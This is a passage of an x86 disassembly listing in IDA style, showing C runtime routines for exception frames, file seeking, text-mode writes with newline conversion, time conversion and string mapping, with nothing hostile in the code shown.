		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBA08
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427910o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427920
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43CFA4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427930o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:00427934o
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427928o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DCFE8
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2680000h


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43D46C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43D388
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43D38C, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43D390


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DCDA0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB958, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2780000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 26A08EAh
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DCCA0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB958, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DCDA0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700649h
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB958, 9
		mov	dword_4DB95C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		nop
		call	near ptr 26A08EAh
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 2700649h
		nop
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 26A08EAh
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB958, 1Ch
		mov	dword_4DB95C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427940
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBA2C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DBA2C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CB50C
		push	esi
		push	edi
		nop
		call	near ptr 2670000h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DBA2C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DBA2C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2670000h
		nop
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 282106Dh
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DBA30
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBA30, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43D020
		mov	edx, dword_43D024
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43CFB0h[esi*4]


